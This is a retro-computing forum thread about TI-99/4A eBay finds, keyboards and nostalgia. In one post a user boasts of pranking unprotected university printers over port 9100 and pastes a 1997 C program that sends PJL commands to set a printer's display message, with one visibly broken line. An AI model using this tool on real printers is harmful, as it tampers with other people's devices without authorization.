TI Related -- Ebay / Heads Up Notice

[+OLD CS1]

Nice-looking PEB for a really nice price eBay Auction -- Item Number: 302585331809

 

The Flex Cable card is missing, though, so you'd have to find one or use it with a Geneve.

 

Yeah, never mind.

[+Ksarul]

The Flex Cable card is missing, though, so you'd have to find one or use it with a Geneve.

[digdugnate]

i noticed this one- PEB + computer & accessories.

 

https://www.ebay.com/itm/Texas-Instruments-TI-99-4A-Computer-Expansion-System-Extras/263411867394?_trkparms=aid%3D222007%26algo%3DSIM.MBE%26ao%3D2%26asc%3D41375%26meid%3D3bc4746c5bae4ede8dfa4563bf12c730%26pid%3D100005%26rk%3D3%26rkt%3D6%26sd%3D302585331809&_trksid=p2047675.c100005.m1851

[+OLD CS1]

The Flex Cable card is missing, though, so you'd have to find one or use it with a Geneve.

 

Wai--- what? Heh, I missed that. Now I have to wonder why the heck anyone would have a PEB without the flex cable.

[+OLD CS1]

Thinking of empty PEBs, has anyone produced a jumper-board to connect two PEBs together via card?

[+Ksarul]

Not a PEB backplane to backplane adapter, but the console side splitter will do the same thing with a PEB on each arm (uses two Flex cards, but that is actually one less slot than you would use with the backplane jumpers, because you'd still lose a Flex card slot after the two jumpered slots).

[brain]

Thinking of empty PEBs, has anyone produced a jumper-board to connect two PEBs together via card?

I have a design that does just that. Need to finish it.

 

http://atariage.com/forums/topic/260586-horizontal-homebrew-expansion-pcb-orientation/?p=3667864

[+OLD CS1]

Okay, not advertising the item, but rather the top review under the auction:

eBay Auction -- Item Number: 152848719865

One of the best home computers you can buy...

In 1978. Sort of. It's a bit lacking in RAM but head over to AtariAge and talk to the fine folks there about the essential peripherals you'll need. If you're only just now getting into the white-hot 39 year old computer hobbyist world, the TI99 is a great starting point with a lot of exciting new peripherals available with even cooler things coming up on the horizon.

This is only half sarcasm. Obviously if you're buying a ~40 year old home computer, you'll have some idea of what you're getting yourself into. The bad news is that the TI99/4A (you're going to want a 4A, the actual 1978 TI99 is much more rare and lacks some pretty improvements that the 4A got) lags behind consoles like the C64 which came out the same year as the 4A variant but which has the superior MOS VIC-II graphics and SID 6581 sound chips.

That's a bit of a bummer, *however* homebrew accessories for the TI99/4A such as RAM expansions, disk emulators, flash carts, DIY cart burning kits, and even a graphics chip upgrade (which bring the graphical capabilities of the system up to that of about a SNES) so if you're looking at one of these as a way to get into the surprisingly active retro-computing scene and you want something that:

-Is legitimately "retro" (None of that "but the P4 came out almost 20 years ago" nonsense!)
-Is historically significant (First 16-bit home computer, last home computer made by Texas Instruments, was the spiritual progenitor of several modern technologies, and was part of a pricing war that helped drive the price of home computers down to the level approaching affordable for more people)
-Has a huge library of original and homebrew software
-Has an active and friendly homebrew hardware/software community

Then the TI99/4A is a good choice, even if you don't have specific nostalgia for it.If you do pick one up, you'll want to look into the following peripherals:

-JediMatt's 32k expansion (JediMatt is presently working on a daughterboard for this expansion that allows you to connect a Raspberry Pi to the Ti99 in order to emulate virtually any kind of peripheral you might want)
-The NanoPEB, which is a replacement for the ATX PC-sized Peripheral Expansion Box which contains a 32k expansion, an CF card-based floppy disk emulator, and an RS232 port.
-The F18A graphics upgrade, which is an FPGA re-implementation of the original graphics chip which removes a lot of the limitations of the original chip, extends its capabilities (for homebrew), provides VGA output, and gives the system the ability to run in 80 column mode. It's got some neat tricks like scanline emulation as well.

The best place to start finding out about these things is the Atarage forums. Arcade shopper is a very reliable and responsive place to buy homebrew gear, though the NanoPEB is almost always easiest to get on eBay.

In conclusion, the TI99/4A is an interesting and versatile home computer from a bygone era that has a knowledgeable, active, and friendly homebrew community. If that kind of thing sounds like it's up your alley, I highly recommend buying one and climbing down the homebrew rabbit hole.

[+OLD CS1]

Oh, and you haters will get a chuckle out of this eBay Auction -- Item Number: 222778636286

[digdugnate]

nothin wrong with the old hand crampers

[+OLD CS1]

Is it NOT on its way to you or is it NOW on its way to you?

 

Seriously though, have fun with it--and do document that keyboard's specifics for us, please.

 

You were absolutely correct. I have not even opened it, yet... I can see the "Mitsumi" sticker through the bottom. I am honestly hoping this is not one of those "bad" Mistumis. I really like the font and the sound of the keyboard. But, alas, I know I am hoping against hope. Maybe I will take some time and figure out how to fix these up.

 

Now, that said, the jag-off stuffed it into a large USPS Flat Rate box, bulging out of both ends. I am pretty peeved about that and will be giving him a small piece of my mind (all I can spare, really,) but politely; just to let him know while we as buyers completely understand old technology cannot be guaranteed to work, shipping in such a way is a perfect way to guarantee it will NOT be working upon arrival.

[+OLD CS1]

Yeah, it is totally shyt-housed. Aside from being filled with all kinds of gunk, nastiness, and a few dead bugs, the only key which works is the "1" key, and if you hit it. This one is serial 10103699, manufacture date code LTA2183. This thing needs a little TLC before I can use it for its ultimate purpose, which will have to wait a while. When I am feeling adventurous and a little bloated with time I will see about the possibility of fixing the keyboard.

[Omega-TI]

I'm sure many of you have already seen the short "Mitsumi Keyboard Video", but for you newbies that have not...

 

 

https://www.youtube.com/watch?v=nT6l9kOEwhk

 

[+OLD CS1]

I figured you were going to "Office Space" it.

 

[+jedimatt42]

I should probably watch that movie... My last Epson inkjet made me feel that way... I picked up a Canon color laser as my present to myself this December. You guys have had that conversation already...

 

-M@

[digdugnate]

"PC Load Letter?!? What the f*** does that even mean?"

 

Office Space is one of the rare movies that I saw in the theater, wore out a VHS, bought the DVD, bought the Blu Ray, and then a digital version on Amazon. Absolutely love that movie.

[+OLD CS1]

Here is an interesting find in another eBay purchase.. I have seen keyboards with green, grey, and white actions. But this is a first for me.

 

[AMenard]

Stop it! You'll start a new collecting craze: Keyboard action color variant

[+OLD CS1]

Stop it! You'll start a new collecting craze: Keyboard action color variant

 

Or I can make that my YouTube niche. Something no one else has ever done. It could make me beeelions.

[+OLD CS1]

"PC Load Letter?!? What the f*** does that even mean?"

 

It is actually two parts: "PC" means "paper cassette," the location of the problem, and "LOAD LETTER" means to load the tray (paper cassette) with letter-sized paper. </pedant> (yes, I know you were quoting the movie, just one of "those things" that always got me because I knew what it meant and, no, I am not fun to watch movies or TV shows with technology in them.)

 

NOW, a long time ago I figured out that the university had not firewalled the JetDirect ports on the network printers. In fact, none of them were protected. I used a little program I compiled on one of the CIS Solaris machines to change the display on every one I could find to "PC LOAD LETTER". I would change it up every now and then to things like "PRINT JOB DELETED" or "LOOK BEHIND YOU!"

 

You know. For the lulz.

 

For extra lulz, I also figured out I could do this from our Solaris machines at the office. Could not get a print job through but I could change the displays.

 

 

 

/*
   HP Printer Hack
   12/8/97 sili@l0pht.com
   Compile with -lsocket -lnsl on solaris.
   Should compile fine on *BSD & linux.
  
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>
#define PORT 9100
int main (int argc, char *argv[]) {
  int sockfd,len,bytes_sent;   /* Sock FD */
  struct hostent *host;   /* info from gethostbyname */
  struct sockaddr_in dest_addr;   /* Host Address */
  char line[100];
 
  if (argc !=3) {
    printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
    printf("\tMessage can be up to 16 characters long (44 on 5si's)\n");
    exit(1);
  }
  if ( (host=gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname");
    exit(1);
  }
  printf ("HP Display hack -- sili@l0pht.com\n");
  printf ("Hostname:   %s\n", argv[1]);
  printf ("Message: %s\n",argv[2]);
  /* Prepare dest_addr */
  dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
  dest_addr.sin_port= htons(PORT) ; /* PORT defined above */
  /* Prepare dest_addr */
  bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
  bzero(&(dest_addr.sin_zero), ;  /* Take care of  sin_zero  ??? */
 
 
  /* Get socket */
/*  printf ("Grabbing socket....\n"); */
  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
    perror("socket");
    exit(1);
  }
  /* Connect !*/
  printf ("Connecting....\n");
 
  if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    perror("connect");
    exit(1);}
  /* Preparing JPL Command */
 
  strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
  strncat(line,argv[2],44);
  strcat(line,"\"\r\n\033%-12345X\r\n");
  /* Sending data! */
/*  printf ("Sending Data...%d\n",strlen(line));*/
/*  printf ("Line: %s\n",line); */
  bytes_sent=send(sockfd,line,strlen(line),0);
 
  printf("Sent %d bytes\n",bytes_sent);
  close(sockfd);
}

 

 

[digdugnate]

 

Or I can make that my YouTube niche. Something no one else has ever done. It could make me beeelions.

"Old CS1's Never Been Done" -- coming soon!

[+Ksarul]

I have seen the yellow ones before, but I seem to remember they were mostly on very esrly 99/4A consoles. I had one with a serial number in the 55 thousand range (bought around Christmas of 1981 to supplement my 99/4) and another with a serial number in the 94 thousand range.

[Omega-TI]

Okay OLDCS1,

You've obviously been around for a while, so I curious, do you (or anyone else) know the book the excerpt below came from?

 

 

[digdugnate]

this is a great sci-fi/thriller book. 'The Adolescence of P-1', by Thomas Ryan.

[Omega-TI]

this is a great sci-fi/thriller book. 'The Adolescence of P-1', by Thomas Ryan.

 

Yep! That did not take long. I first read it when I was a teenager. It's a simple read, but as a kid I loved it. I have it in PDF format now, and pulled it out since I've been out of action for awhile. The book is much better than the Canadian movie loosely based on the book.